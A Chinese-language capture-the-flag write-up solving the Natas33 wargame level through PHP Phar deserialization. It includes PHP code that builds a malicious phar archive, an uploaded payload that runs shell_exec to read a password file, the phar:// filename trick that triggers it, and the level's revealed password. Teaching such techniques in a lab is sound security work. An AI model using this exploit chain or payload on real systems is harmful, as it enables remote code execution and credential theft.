• Natas33 Writeup(Phar反序列化漏洞)


    Natas33:

      

    又是一个上传文件的页面,源码如下:

    // graz XeR, the first to solve it! thanks for the feedback!
    // ~morla
    class Executor{
        private $filename=""; 		//三个私有参数
        private $signature='adeafbadbabec0dedabada55ba55d00d';
        private $init=False;
    
        function __construct(){		//类创建时调用
            $this->filename=$_POST["filename"];
            if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {	//限制文件大小
                echo "File is too big<br>";
            }
            else {														//将文件移动到/natas33/upload/目录下
                if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                    echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                    echo "Firmware upgrad initialised.<br>";
                }
                else{
                    echo "There was an error uploading the file, please try again!<br>";
                }
            }
        }
    
        function __destruct(){		//类销毁时调用
            // upgrade firmware at the end of this script
    
            // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
            if(getcwd() === "/") chdir("/natas33/uploads/");	//getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
            if(md5_file($this->filename) == $this->signature){	//md5_file() 函数计算文件的 MD5 散列。
                echo "Congratulations! Running firmware update: $this->filename <br>";
                passthru("php " . $this->filename); //执行外部命令
            }
            else{
                echo "Failur! MD5sum mismatch!<br>";
            }
        }
    }
    
    session_start();
    if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
        new Executor();
    }
    

    查看源码,我们知道,当上传文件的MD5校验与adeafbadbabec0dedabada55ba55d00d匹配时,服务器会执行这个文件。很容易想到MD5碰撞,然而这里是无用的,因为对其进行了限制,限制为4096字节。

    查看前端代码,会发现我们可以修改两个参数,文件名和文件内容。在下面这段代码中,我们可以看到文件名的设置,是用的session_id作为默认值。而且源码对上传文件的类型没有限制。

    <form enctype="multipart/form-data" action="index.php" method="POST">
        <input type="hidden" name="MAX_FILE_SIZE" value="4096" />
        <input type="hidden" name="filename" value="<? echo session_id(); ?>" />
            Upload Firmware Update:<br/>
        <input name="uploadedfile" type="file" /><br />
        <input type="submit" value="Upload File" />
    </form>
    

    继续审计源码,发现在类销毁时调用了__destruct()魔术方法,猜测代码中可能存在PHP反序列化漏洞

    我们利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高,这种漏洞利用越来越来难了,但是在2018年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息(文章地址:https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。

    Phar文件结构

    Phar文件主要包含三至四个部分:

    1. A stub

    • stub的基本结构:<?php HALT_COMPILER();,stub必须以HALT_COMPILER();来作为结束部分,否则Phar拓展将不会识别该文件

    2. a manifest describing the contents

    • Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点

    3. the file contents

    • 被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

    4. a signature for verifying Phar integrity

    • 签名校验

    尝试利用phar反序列化漏洞获取密码

    一 序列化

    根据文件结构我们来自己构建一个phar文件(php内置了一个Phar类),代码如下:

    <?php
    	class Executor {
    		private $filename = "xx.php"; 
            private $signature = True;
            private $init = false;
    	}
    	
    	$phar = new Phar("test.phar");			//后缀名必须为phar
    	$phar->startBuffering();
    	$phar->addFromString("test.txt", 'test');	//添加要压缩的文件
    	$phar->setStub("<?php __HALT_COMPILER(); ?>");	//设置stub 
    	$o = new Executor();
    	$phar->setMetadata($o);				//将自定义的meta-data存入manifest
    	$phar->stopBuffering();				//签名自动计算
    ?>
    

    这段代码将filename修改成了xx.php,将signature修改为True。这样的的话,MD5比较将会始终为真,passthru()函数将会执行xx.php。

    代码直接运行的时候会报错:

    将php.ini中的phar.readonly设置成off,重启服务后,重新运行代码,生成了一个test.phar文件。

    用Notepad++打开文件,可以发现,meta-data已经以序列化的形式存在test.phar文件中

    说明一下:其实就是把要执行的命令序列化保存在phar的压缩文件里

    二 反序列化

    对应序列化,肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作。

    首先,上传一个用来读取密码的php文件,代码如下:

    <?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
    

    用bp将其拦截,修改名称为xx.php。然后点击Go,上传成功。

    然后,将生成的phar文件上传,并重命名,点击Go,上传成功。

    最后,将文件名修改为phar://test.phar/test.txt,强制md5_file()函数解析phar文档,获取到flag。

    flag:shu5ouSu6eicielahhae0mohd4ui5uig

    参考:

    https://blog.csdn.net/baidu_35297930/article/details/99974886
    https://www.cnblogs.com/zy-king-karl/p/11454609.html
    https://www.cnblogs.com/Byqiyou/p/10187672.html

  • 相关阅读:
    [LeetCode] 14. Longest Common Prefix 最长共同前缀
    [LeetCode] 16. 3Sum Closest 最近三数之和
    [LeetCode] 15. 3Sum 三数之和
    [LeetCode] 75. Sort Colors 颜色排序
    [LeetCode] 13. Roman to Integer 罗马数字转为整数
    [LeetCode] 12. Integer to Roman 整数转为罗马数字
    [LeetCode] 8. String to Integer (atoi) 字符串转为整数
    [LeetCode] 9. Palindrome Number 验证回文数字
    [LeetCode] 388. Longest Absolute File Path 最长的绝对文件路径
    [LeetCode] 138. Copy List with Random Pointer 拷贝带随机指针的链表
  • 原文地址:https://www.cnblogs.com/zhengna/p/12381943.html
走看看 - 开发者的网上家园